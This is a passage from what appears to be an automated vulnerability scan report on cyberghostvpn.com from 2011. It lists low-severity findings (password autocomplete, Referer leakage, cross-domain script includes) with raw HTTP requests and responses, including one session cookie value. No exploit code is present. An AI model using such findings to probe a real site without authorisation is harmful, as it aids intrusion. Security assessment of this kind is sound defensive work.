Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Thu, 23 Jun 2011 15:42:52 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Vary: Accept-Encoding
Content-Type: text/html
X-Cache: MISS from web1.cyberghostvpn.com
X-Cache-Lookup: MISS from web1.cyberghostvpn.com:3128
Via: 1.1 web1.cyberghostvpn.com:3128 (squid)
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>CyberGhost VPN
...[SNIP]...
</h3>
   <form action="https://cyberghostvpn.com/action.php" method="post" name="login" id="xLogin">
       <ul class="clearfix">
...[SNIP]...
</label>
           <input size="14" type="password" id="frm_password" name="pPassword" value="" class="text focus-label" />
           </li>
...[SNIP]...

2.9. http://cyberghostvpn.com/index.php previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://cyberghostvpn.com
Path:	/index.php

Issue detail

The page contains a form with the following action URL:

https://cyberghostvpn.com/action.php

The form contains the following password field with autocomplete enabled:

pPassword

Request

GET /index.php HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Thu, 23 Jun 2011 15:42:42 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Vary: Accept-Encoding
Content-Type: text/html
X-Cache: MISS from web1.cyberghostvpn.com
X-Cache-Lookup: MISS from web1.cyberghostvpn.com:3128
Via: 1.1 web1.cyberghostvpn.com:3128 (squid)
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Surf anonymous
...[SNIP]...
</h3>
   <form action="https://cyberghostvpn.com/action.php" method="post" name="login" id="xLogin">
       <ul class="clearfix">
...[SNIP]...
</label>
           <input size="14" type="password" id="frm_password" name="pPassword" value="" class="text focus-label" />
           </li>
...[SNIP]...

2.10. http://cyberghostvpn.com/it/surf-anonym.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://cyberghostvpn.com
Path:	/it/surf-anonym.html

Issue detail

The page contains a form with the following action URL:

https://cyberghostvpn.com/action.php

The form contains the following password field with autocomplete enabled:

pPassword

Request

GET /it/surf-anonym.html HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Thu, 23 Jun 2011 15:42:52 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Vary: Accept-Encoding
Content-Type: text/html
X-Cache: MISS from web1.cyberghostvpn.com
X-Cache-Lookup: MISS from web1.cyberghostvpn.com:3128
Via: 1.1 web1.cyberghostvpn.com:3128 (squid)
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>CyberGhost VPN
...[SNIP]...
</h3>
   <form action="https://cyberghostvpn.com/action.php" method="post" name="login" id="xLogin">
       <ul class="clearfix">
...[SNIP]...
</label>
           <input size="14" type="password" id="frm_password" name="pPassword" value="" class="text focus-label" />
           </li>
...[SNIP]...

2.11. http://cyberghostvpn.com/page/account.php previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://cyberghostvpn.com
Path:	/page/account.php

Issue detail

The page contains a form with the following action URL:

https://cyberghostvpn.com/action.php

The form contains the following password field with autocomplete enabled:

pPassword

Request

GET /page/account.php HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Thu, 23 Jun 2011 15:42:55 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html
X-Cache: MISS from web1.cyberghostvpn.com
X-Cache-Lookup: MISS from web1.cyberghostvpn.com:3128
Via: 1.1 web1.cyberghostvpn.com:3128 (squid)
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Account overvie
...[SNIP]...
</h2>

<form action="https://cyberghostvpn.com/action.php" method="post">

<fieldset>
...[SNIP]...
<span><input type="password" name="pPassword" id="pPassword" class="mid" /></span>
...[SNIP]...

2.12. http://cyberghostvpn.com/page/recover.php previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://cyberghostvpn.com
Path:	/page/recover.php

Issue detail

The page contains a form with the following action URL:

https://cyberghostvpn.com/action.php

The form contains the following password fields with autocomplete enabled:

pNewPassword
pNewPassword2

Request

GET /page/recover.php?recover HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Thu, 23 Jun 2011 15:42:55 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html
X-Cache: MISS from web1.cyberghostvpn.com
X-Cache-Lookup: MISS from web1.cyberghostvpn.com:3128
Via: 1.1 web1.cyberghostvpn.com:3128 (squid)
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Recover your ac
...[SNIP]...
</h2>
<form action="https://cyberghostvpn.com/action.php" method="POST">
<fieldset>
...[SNIP]...
<span><input type="password" name="pNewPassword" id="pNewPassword" class="mid" value="" onkeyup="checkpass()" /></span>
...[SNIP]...
<span><input type="password" name="pNewPassword2" id="pNewPassword2" class="mid" value="" /></span>
...[SNIP]...

2.13. https://cyberghostvpn.com/de/anonym-surfen.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://cyberghostvpn.com
Path:	/de/anonym-surfen.html

Issue detail

The page contains a form with the following action URL:

https://cyberghostvpn.com/action.php

The form contains the following password field with autocomplete enabled:

pPassword

Request

GET /de/anonym-surfen.html HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 23 Jun 2011 15:41:55 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 13865

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Anonym surfen
...[SNIP]...
</h3>
   <form action="https://cyberghostvpn.com/action.php" method="post" name="login" id="xLogin">
       <ul class="clearfix">
...[SNIP]...
</label>
           <input size="14" type="password" id="frm_password" name="pPassword" value="" class="text focus-label" />
           </li>
...[SNIP]...

2.14. https://cyberghostvpn.com/en/account/add-serial.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://cyberghostvpn.com
Path:	/en/account/add-serial.html

Issue detail

The page contains a form with the following action URL:

https://cyberghostvpn.com/action.php

The form contains the following password field with autocomplete enabled:

pPassword

Request

GET /en/account/add-serial.html HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 23 Jun 2011 15:41:53 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 9667

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Account overvie
...[SNIP]...
</h2>

<form action="https://cyberghostvpn.com/action.php" method="post">

<fieldset>
...[SNIP]...
<span><input type="password" name="pPassword" id="pPassword" class="mid" /></span>
...[SNIP]...

2.15. https://cyberghostvpn.com/en/account/overview.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://cyberghostvpn.com
Path:	/en/account/overview.html

Issue detail

The page contains a form with the following action URL:

https://cyberghostvpn.com/action.php

The form contains the following password field with autocomplete enabled:

pPassword

Request

GET /en/account/overview.html HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 23 Jun 2011 15:41:56 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 9667

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Account overvie
...[SNIP]...
</h2>

<form action="https://cyberghostvpn.com/action.php" method="post">

<fieldset>
...[SNIP]...
<span><input type="password" name="pPassword" id="pPassword" class="mid" /></span>
...[SNIP]...

2.16. https://cyberghostvpn.com/en/account/traffic/overview.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://cyberghostvpn.com
Path:	/en/account/traffic/overview.html

Issue detail

The page contains a form with the following action URL:

https://cyberghostvpn.com/action.php

The form contains the following password field with autocomplete enabled:

pPassword

Request

GET /en/account/traffic/overview.html HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 23 Jun 2011 15:41:54 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 9667

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Account overvie
...[SNIP]...
</h2>

<form action="https://cyberghostvpn.com/action.php" method="post">

<fieldset>
...[SNIP]...
<span><input type="password" name="pPassword" id="pPassword" class="mid" /></span>
...[SNIP]...

2.17. https://cyberghostvpn.com/en/surf-anonym.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://cyberghostvpn.com
Path:	/en/surf-anonym.html

Issue detail

The page contains a form with the following action URL:

https://cyberghostvpn.com/action.php

The form contains the following password field with autocomplete enabled:

pPassword

Request

GET /en/surf-anonym.html HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 23 Jun 2011 15:41:56 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 13735

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Surf anonymous
...[SNIP]...
</h3>
   <form action="https://cyberghostvpn.com/action.php" method="post" name="login" id="xLogin">
       <ul class="clearfix">
...[SNIP]...
</label>
           <input size="14" type="password" id="frm_password" name="pPassword" value="" class="text focus-label" />
           </li>
...[SNIP]...

2.18. https://cyberghostvpn.com/es/surf-anonym.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://cyberghostvpn.com
Path:	/es/surf-anonym.html

Issue detail

The page contains a form with the following action URL:

https://cyberghostvpn.com/action.php

The form contains the following password field with autocomplete enabled:

pPassword

Request

GET /es/surf-anonym.html HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 23 Jun 2011 15:41:54 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 14411

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>CyberGhost VPN
...[SNIP]...
</h3>
   <form action="https://cyberghostvpn.com/action.php" method="post" name="login" id="xLogin">
       <ul class="clearfix">
...[SNIP]...
</label>
           <input size="14" type="password" id="frm_password" name="pPassword" value="" class="text focus-label" />
           </li>
...[SNIP]...

2.19. https://cyberghostvpn.com/fr/surf-anonym.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://cyberghostvpn.com
Path:	/fr/surf-anonym.html

Issue detail

The page contains a form with the following action URL:

https://cyberghostvpn.com/action.php

The form contains the following password field with autocomplete enabled:

pPassword

Request

GET /fr/surf-anonym.html HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 23 Jun 2011 15:41:53 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 14752

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>CyberGhost VPN
...[SNIP]...
</h3>
   <form action="https://cyberghostvpn.com/action.php" method="post" name="login" id="xLogin">
       <ul class="clearfix">
...[SNIP]...
</label>
           <input size="14" type="password" id="frm_password" name="pPassword" value="" class="text focus-label" />
           </li>
...[SNIP]...

2.20. https://cyberghostvpn.com/it/surf-anonym.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://cyberghostvpn.com
Path:	/it/surf-anonym.html

Issue detail

The page contains a form with the following action URL:

https://cyberghostvpn.com/action.php

The form contains the following password field with autocomplete enabled:

pPassword

Request

GET /it/surf-anonym.html HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 23 Jun 2011 15:41:57 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 14336

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>CyberGhost VPN
...[SNIP]...
</h3>
   <form action="https://cyberghostvpn.com/action.php" method="post" name="login" id="xLogin">
       <ul class="clearfix">
...[SNIP]...
</label>
           <input size="14" type="password" id="frm_password" name="pPassword" value="" class="text focus-label" />
           </li>
...[SNIP]...

3. Cross-domain Referer leakage previous next
There are 2 instances of this issue:

/page/recover.php
/page/registration.php

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

3.1. http://cyberghostvpn.com/page/recover.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://cyberghostvpn.com
Path:	/page/recover.php

Issue detail

The page was loaded from a URL containing a query string:

http://cyberghostvpn.com/page/recover.php?account

The response contains the following links to other domains:

http://api.recaptcha.net/challenge?k=6LfBVAwAAAAAAO1brJohrFq4V1uJFTqWnmAmwNwO
http://api.recaptcha.net/noscript?k=6LfBVAwAAAAAAO1brJohrFq4V1uJFTqWnmAmwNwO
http://facebook.com/cyberghostvpn
http://twitter.com/cyberghostvpn

Request

GET /page/recover.php?account HTTP/1.1
Host: cyberghostvpn.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=ef3b1e5235247b4f2280aabb485ea8e7; _pk_id.1.3a08=9b31daa595bd050e.1308842730.1.1308842745.1308842730.; _pk_ses.1.3a08=*

Response

HTTP/1.0 200 OK
Date: Thu, 23 Jun 2011 15:25:47 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 10449
Content-Type: text/html
X-Cache: MISS from web1.cyberghostvpn.com
X-Cache-Lookup: MISS from web1.cyberghostvpn.com:3128
Via: 1.1 web1.cyberghostvpn.com:3128 (squid)
Connection: keep-alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Recover your ac
...[SNIP]...
<li class="center">
<script type="text/javascript" src="http://api.recaptcha.net/challenge?k=6LfBVAwAAAAAAO1brJohrFq4V1uJFTqWnmAmwNwO"></script>

<noscript>
<iframe src="http://api.recaptcha.net/noscript?k=6LfBVAwAAAAAAO1brJohrFq4V1uJFTqWnmAmwNwO" height="300" width="500" frameborder="0"></iframe>
...[SNIP]...
<li><a href="http://facebook.com/cyberghostvpn" target="_blank"><span>
...[SNIP]...
<li><a href="http://twitter.com/cyberghostvpn" target="_blank"><span>
...[SNIP]...

3.2. http://cyberghostvpn.com/page/registration.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://cyberghostvpn.com
Path:	/page/registration.php

Issue detail

The page was loaded from a URL containing a query string:

http://cyberghostvpn.com/page/registration.php?confirm

The response contains the following links to other domains:

http://facebook.com/cyberghostvpn
http://twitter.com/cyberghostvpn

Request

GET /page/registration.php?confirm HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Thu, 23 Jun 2011 15:42:54 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
X-Cache: MISS from web1.cyberghostvpn.com
X-Cache-Lookup: MISS from web1.cyberghostvpn.com:3128
Via: 1.1 web1.cyberghostvpn.com:3128 (squid)
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Register now <
...[SNIP]...
<li><a href="http://facebook.com/cyberghostvpn" target="_blank"><span>
...[SNIP]...
<li><a href="http://twitter.com/cyberghostvpn" target="_blank"><span>
...[SNIP]...

4. Cross-domain script include previous next
There are 14 instances of this issue:

http://cyberghostvpn.com/
http://cyberghostvpn.com/blog/
http://cyberghostvpn.com/de/anonym-surfen.html
http://cyberghostvpn.com/en/surf-anonym.html
http://cyberghostvpn.com/es/surf-anonym.html
http://cyberghostvpn.com/fr/surf-anonym.html
http://cyberghostvpn.com/index.php
http://cyberghostvpn.com/it/surf-anonym.html
http://cyberghostvpn.com/page/recover.php
https://cyberghostvpn.com/de/anonym-surfen.html
https://cyberghostvpn.com/en/surf-anonym.html
https://cyberghostvpn.com/es/surf-anonym.html
https://cyberghostvpn.com/fr/surf-anonym.html
https://cyberghostvpn.com/it/surf-anonym.html

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

4.1. http://cyberghostvpn.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://cyberghostvpn.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

https://twitter-widgets.s3.amazonaws.com/j/2/widget.js

Request

Response

HTTP/1.0 200 OK
Date: Thu, 23 Jun 2011 15:25:23 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 13732
Content-Type: text/html
X-Cache: MISS from web1.cyberghostvpn.com
X-Cache-Lookup: MISS from web1.cyberghostvpn.com:3128
Via: 1.1 web1.cyberghostvpn.com:3128 (squid)
Connection: keep-alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Surf anonymous
...[SNIP]...
</h3>
<script src="https://twitter-widgets.s3.amazonaws.com/j/2/widget.js" type="text/javascript"></script>
...[SNIP]...

4.2. http://cyberghostvpn.com/blog/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://cyberghostvpn.com
Path:	/blog/

Issue detail

The response dynamically includes the following script from another domain:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js

Request

GET /blog/ HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Thu, 23 Jun 2011 15:42:45 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Set-Cookie: _icl_current_language=de; expires=Fri, 24-Jun-2011 15:42:45 GMT; path=/blog/
X-Pingback: http://cyberghostvpn.com/blog/xmlrpc.php
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Cache: MISS from web1.cyberghostvpn.com
X-Cache-Lookup: MISS from web1.cyberghostvpn.com:3128
Via: 1.0 web1.cyberghostvpn.com:3128 (squid)
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="de-DE">

<head profile="http:
...[SNIP]...
<link rel="stylesheet" href="http://cyberghostvpn.com/blog/wp-content/plugins/sitepress-multilingual-cms/res/css/language-selector.css?v=2.0.4.1" type="text/css" media="all" />

<script type="text/javascript" language="javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
...[SNIP]...

4.3. http://cyberghostvpn.com/de/anonym-surfen.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://cyberghostvpn.com
Path:	/de/anonym-surfen.html

Issue detail

The response dynamically includes the following script from another domain:

https://twitter-widgets.s3.amazonaws.com/j/2/widget.js

Request

GET /de/anonym-surfen.html HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Thu, 23 Jun 2011 15:42:52 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Vary: Accept-Encoding
Content-Type: text/html
X-Cache: MISS from web1.cyberghostvpn.com
X-Cache-Lookup: MISS from web1.cyberghostvpn.com:3128
Via: 1.1 web1.cyberghostvpn.com:3128 (squid)
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Anonym surfen
...[SNIP]...
</h3>
<script src="https://twitter-widgets.s3.amazonaws.com/j/2/widget.js" type="text/javascript"></script>
...[SNIP]...

4.4. http://cyberghostvpn.com/en/surf-anonym.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://cyberghostvpn.com
Path:	/en/surf-anonym.html

Issue detail

The response dynamically includes the following script from another domain:

https://twitter-widgets.s3.amazonaws.com/j/2/widget.js

Request

GET /en/surf-anonym.html HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Thu, 23 Jun 2011 15:42:45 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Vary: Accept-Encoding
Content-Type: text/html
X-Cache: MISS from web1.cyberghostvpn.com
X-Cache-Lookup: MISS from web1.cyberghostvpn.com:3128
Via: 1.1 web1.cyberghostvpn.com:3128 (squid)
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Surf anonymous
...[SNIP]...
</h3>
<script src="https://twitter-widgets.s3.amazonaws.com/j/2/widget.js" type="text/javascript"></script>
...[SNIP]...

4.5. http://cyberghostvpn.com/es/surf-anonym.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://cyberghostvpn.com
Path:	/es/surf-anonym.html

Issue detail

The response dynamically includes the following script from another domain:

https://twitter-widgets.s3.amazonaws.com/j/2/widget.js

Request

GET /es/surf-anonym.html HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Thu, 23 Jun 2011 15:42:53 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Vary: Accept-Encoding
Content-Type: text/html
X-Cache: MISS from web1.cyberghostvpn.com
X-Cache-Lookup: MISS from web1.cyberghostvpn.com:3128
Via: 1.1 web1.cyberghostvpn.com:3128 (squid)
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>CyberGhost VPN
...[SNIP]...
</h3>
<script src="https://twitter-widgets.s3.amazonaws.com/j/2/widget.js" type="text/javascript"></script>
...[SNIP]...

4.6. http://cyberghostvpn.com/fr/surf-anonym.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://cyberghostvpn.com
Path:	/fr/surf-anonym.html

Issue detail

The response dynamically includes the following script from another domain:

